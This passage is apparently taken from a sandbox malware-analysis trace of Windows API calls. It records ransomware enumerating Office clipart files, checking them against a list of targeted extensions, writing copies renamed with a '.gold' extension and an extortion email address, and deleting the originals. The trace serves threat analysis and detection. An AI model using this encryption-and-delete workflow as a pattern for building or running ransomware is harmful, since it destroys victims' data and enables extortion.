lpString2="_.WMF") returned -1 [0056.592] lstrlenW (lpString=".ppt") returned 4 [0056.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".zip") returned 4 [0056.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.592] lstrlenW (lpString=".rar") returned 4 [0056.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".bz2") returned 4 [0056.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".7z") returned 3 [0056.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".dbf") returned 4 [0056.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".1cd") returned 4 [0056.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".jpg") returned 4 [0056.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.593] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.593] lstrlenW (lpString="BS01637_.WMF") returned 12 [0056.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.593] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=3948) returned 1 [0056.593] CloseHandle (hObject=0x210) returned 1 [0056.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0056.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.593] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.593] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.594] GetLastError () returned 0x0 [0056.594] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xf6c, lpOverlapped=0x0) returned 1 [0056.601] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf70, lpOverlapped=0x0) returned 1 [0056.602] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.602] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.602] SetEndOfFile (hFile=0x19c) returned 1 [0056.602] CloseHandle (hObject=0x19c) returned 1 [0056.602] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.602] SetEndOfFile (hFile=0x210) returned 1 [0056.603] CloseHandle (hObject=0x210) returned 1 [0056.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0056.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.603] lstrlenW (lpString=".doc") returned 4 [0056.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.603] lstrlenW (lpString=".docx") returned 5 [0056.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.603] lstrlenW (lpString=".pdf") returned 4 [0056.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.603] lstrlenW (lpString=".xls") returned 4 [0056.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.603] lstrlenW (lpString=".xlsx") returned 5 [0056.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.603] lstrlenW (lpString=".ppt") returned 4 [0056.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.603] lstrlenW (lpString=".zip") returned 4 [0056.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.603] lstrlenW (lpString=".rar") returned 4 [0056.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".bz2") returned 4 [0056.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".7z") returned 3 [0056.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".dbf") returned 4 [0056.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".1cd") returned 4 [0056.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".jpg") returned 4 [0056.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".doc") returned 4 [0056.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".docx") returned 5 [0056.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.604] lstrlenW (lpString=".pdf") returned 4 [0056.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".xls") returned 4 [0056.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.604] lstrlenW (lpString=".xlsx") returned 5 [0056.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.604] lstrlenW (lpString=".ppt") returned 4 [0056.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".zip") returned 4 [0056.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.604] lstrlenW (lpString=".rar") returned 4 [0056.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".bz2") returned 4 [0056.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString=".7z") returned 3 [0056.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".dbf") returned 4 [0056.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".1cd") returned 4 [0056.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0056.604] lstrlenW (lpString=".jpg") returned 4 [0056.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.604] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.604] lstrlenW (lpString="BS01638_.WMF") returned 12 [0056.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.605] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=10538) returned 1 [0056.605] CloseHandle (hObject=0x210) returned 1 [0056.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0056.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.605] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.605] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.606] GetLastError () returned 0x0 [0056.606] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x292a, lpOverlapped=0x0) returned 1 [0056.617] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2930, lpOverlapped=0x0) returned 1 [0056.618] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.618] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.618] SetEndOfFile (hFile=0x19c) returned 1 [0056.618] CloseHandle (hObject=0x19c) returned 1 [0056.618] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.618] SetEndOfFile (hFile=0x210) returned 1 [0056.619] CloseHandle (hObject=0x210) returned 1 [0056.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".doc") returned 4 [0056.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString=".docx") returned 5 [0056.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.620] lstrlenW (lpString=".pdf") returned 4 [0056.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString=".xls") returned 4 [0056.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.620] lstrlenW (lpString=".xlsx") returned 5 [0056.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.620] lstrlenW (lpString=".ppt") returned 4 [0056.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".zip") returned 4 [0056.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.620] lstrlenW (lpString=".rar") returned 4 [0056.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString=".bz2") returned 4 [0056.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString=".7z") returned 3 [0056.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".dbf") returned 4 [0056.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".1cd") returned 4 [0056.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".jpg") returned 4 [0056.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.620] lstrlenW (lpString=".doc") returned 4 [0056.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.620] lstrlenW (lpString=".docx") returned 5 [0056.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.620] lstrlenW (lpString=".pdf") returned 4 [0056.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString=".xls") returned 4 [0056.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.621] lstrlenW (lpString=".xlsx") returned 5 [0056.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.621] lstrlenW (lpString=".ppt") returned 4 [0056.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.621] lstrlenW (lpString=".zip") returned 4 [0056.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.621] lstrlenW (lpString=".rar") returned 4 [0056.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString=".bz2") returned 4 [0056.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString=".7z") returned 3 [0056.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.621] lstrlenW (lpString=".dbf") returned 4 [0056.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.621] lstrlenW (lpString=".1cd") returned 4 [0056.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0056.621] lstrlenW (lpString=".jpg") returned 4 [0056.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.621] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.621] lstrlenW (lpString="BS01639_.WMF") returned 12 [0056.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.622] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4236) returned 1 [0056.622] CloseHandle (hObject=0x210) returned 1 [0056.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0056.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.622] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.622] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.622] GetLastError () returned 0x0 [0056.622] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x108c, lpOverlapped=0x0) returned 1 [0056.624] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1090, lpOverlapped=0x0) returned 1 [0056.624] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.624] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.624] SetEndOfFile (hFile=0x19c) returned 1 [0056.624] CloseHandle (hObject=0x19c) returned 1 [0056.625] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.625] SetEndOfFile (hFile=0x210) returned 1 [0056.625] CloseHandle (hObject=0x210) returned 1 [0056.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".doc") returned 4 [0056.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".docx") returned 5 [0056.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.626] lstrlenW (lpString=".pdf") returned 4 [0056.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".xls") returned 4 [0056.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.626] lstrlenW (lpString=".xlsx") returned 5 [0056.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.626] lstrlenW (lpString=".ppt") returned 4 [0056.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".zip") returned 4 [0056.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.626] lstrlenW (lpString=".rar") returned 4 [0056.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".bz2") returned 4 [0056.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".7z") returned 3 [0056.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".dbf") returned 4 [0056.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".1cd") returned 4 [0056.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".jpg") returned 4 [0056.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.626] lstrlenW (lpString=".doc") returned 4 [0056.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".docx") returned 5 [0056.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.626] lstrlenW (lpString=".pdf") returned 4 [0056.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.626] lstrlenW (lpString=".xls") returned 4 [0056.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.626] lstrlenW (lpString=".xlsx") returned 5 [0056.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.627] lstrlenW (lpString=".ppt") returned 4 [0056.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0056.627] lstrlenW (lpString=".zip") returned 4 [0056.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.627] lstrlenW (lpString=".rar") returned 4 [0056.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.627] lstrlenW (lpString=".bz2") returned 4 [0056.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.627] lstrlenW (lpString=".7z") returned 3 [0056.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") 